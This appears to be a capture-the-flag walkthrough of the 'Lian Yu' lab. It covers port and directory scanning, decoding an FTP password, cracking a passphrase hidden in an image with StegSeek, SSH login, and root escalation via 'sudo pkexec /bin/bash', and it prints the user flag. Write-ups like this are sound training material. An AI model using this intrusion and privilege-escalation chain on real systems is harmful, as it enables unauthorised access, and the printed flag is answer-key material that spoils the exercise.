Karmany
709 words
4 minutes
Lian Yu
1. Discovery Ports, Services and Directory
Nmap
nmap -sC -sV -vv <IP Target>
![[Pasted image 20251203125804.png]]
Ports
- 21 - TCP/FTP(vsftpd3.0.2)
- 22 - TCP/SSH(OpenSSH 6.7p1)
- 80 - TCP/HTTP(Apache)
- 111/TCP - rpcbind
Dirsearch
{TargetIP}
python3 dirsearch.py -u 10.82.138.36 -w ../wordlist/DirBuster-2007_directory-list-2.3-medium.txt
{TargetIP}/island
python3 dirsearch.py -u 10.82.138.36/island/ -w ../wordlist/DirBuster-2007_directory-list-2.3-medium.txt
HTML source code {TargetIP}/island/
What is vigilante?
HTML source code {TargetIP}/island/2100
{TargetIP}/island/2100
GoBuster
gobuster dir -u 10.82.138.36/island/2100/ -w /home/dcroce/Documentos/ComofazerUbuntu/FerramentasSec/wordlist/DirBuster-2007_directory-list-2.3-medium.txt -x ticket -t 12
{TargetIP}/island/2100/green_arrow.ticket

2. Hashes & Post-Exploitation
CyberChef
From base58
RTy8yhBQdscX -> !#th3h00dFTP
$ sudo ftp {targetIP}
- user: vigilante
- password: !#th3h00d
ftp> ls -la229 Entering Extended Passive Mode (|||18166|).150 Here comes the directory listing.drwxr-xr-x 2 1001 1001 4096 May 05 2020 .drwxr-xr-x 4 0 0 4096 May 01 2020 ..-rw------- 1 1001 1001 44 May 01 2020 .bash_history-rw-r--r-- 1 1001 1001 220 May 01 2020 .bash_logout-rw-r--r-- 1 1001 1001 3515 May 01 2020 .bashrc-rw-r--r-- 1 0 0 2483 May 01 2020 .other_user-rw-r--r-- 1 1001 1001 675 May 01 2020 .profile-rw-r--r-- 1 0 0 511720 May 01 2020 Leave_me_alone.png-rw-r--r-- 1 0 0 549924 May 05 2020 "Queen's_Gambit.png"-rw-r--r-- 1 0 0 191026 May 01 2020 aa.jpg
ftp> mget aa.jpg Leave_me_alone.png "Queen's_Gambit.png" .other_user .profileReading files using cat
ftp> !cat .other_user
Slade Wilson was 16 years old when he enlisted in the United States Army, having lied about his age. After serving a stint in Korea, he was later assigned to Camp Washington where he had been promoted to the rank of major. In the early 1960s, he met Captain Adeline Kane, who was tasked with training young soldiers in new fighting techniques in anticipation of brewingtroubles taking place in Vietnam. Kane was amazed at how skilled Slade was and how quickly he adapted to modern conventions of warfare. She immediately fell in love with him and realized that he was without a doubt the most able-bodied combatant that she had ever encountered. She offered to privately train Slade in guerrilla warfare. In less than a year, Slade mastered every fighting form presented to him and was soon promoted to the rank of lieutenant colonel. Six months later, Adeline and he were married and she became pregnant with their first child. The war in Vietnam began to escalate and Slade was shipped overseas. In the war, his unit massacred a village, an event which sickened him. He was also rescued by SAS member Wintergreen, to whom he would later return the favor.
Chosen for a secret experiment, the Army imbued him with enhanced physical powers in an attempt to create metahuman super-soldiers for the U.S. military. Deathstroke became a mercenarysoon after the experiment when he defied orders and rescued his friend Wintergreen, who had been sent on a suicide mission by a commanding officer with a grudge.[7] However, Slade keptthis career secret from his family, even though his wife was an expert military combat instructor.
A criminal named the Jackal took his younger son Joseph Wilson hostage to force Slade to divulge the name of a client who had hired him as an assassin. Slade refused, claiming it was against his personal honor code. He attacked and killed the kidnappers at the rendezvous. Unfortunately, Joseph's throat was slashed by one of the criminals before Slade could prevent it,destroying Joseph's vocal cords and rendering him mute.
After taking Joseph to the hospital, Adeline was enraged at his endangerment of her son and tried to kill Slade by shooting him, but only managed to destroy his right eye. Afterwards, his confidence in his physical abilities was such that he made no secret of his impaired vision, marked by his mask which has a black, featureless half covering his lost right eye. Without his mask, Slade wears an eyepatch to cover his eye.Names
- Slade, Wilson
- Adeline, Kane
- Joseph, Wilson
- Wintergree
- Jackal
StegSeek
$ stegseek -sf aa.jpg -wl pathwordlist/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek[i] Found passphrase: "password"[i] Original filename: "ss.zip".[i] Extracting to "aa.jpg.out".$ file aa.jpg.outaa.jpg.out: Zip archive data, at least v2.0 to extract, compression method=deflate$ unzip -P password aa.jpg.outArchive: aa.jpg.out inflating: passwd.txt inflating: shado
$ cat shadoM3tahumanWhat do i have now?
Perhaps some unexplored directory, an untested SSH port, and some names and a word(M3tahuman).
SSH
Using names
$ ssh slade@{TargetIP}password:M3tahuman
slade@LianYu:~$ lsuser.txtslade@LianYu:~$ cat user.txtTHM{P30P7E_K33P_53CRET5__C0MPUT3R5_D0N'T} --Felicity Smoak

slade@LianYu:~$ sudo /usr/bin/pkexec /bin/bashroot@LianYu:~#root@LianYu:~# lsroot.txtroot@LianYu:~# cat root.txt Lian Yu





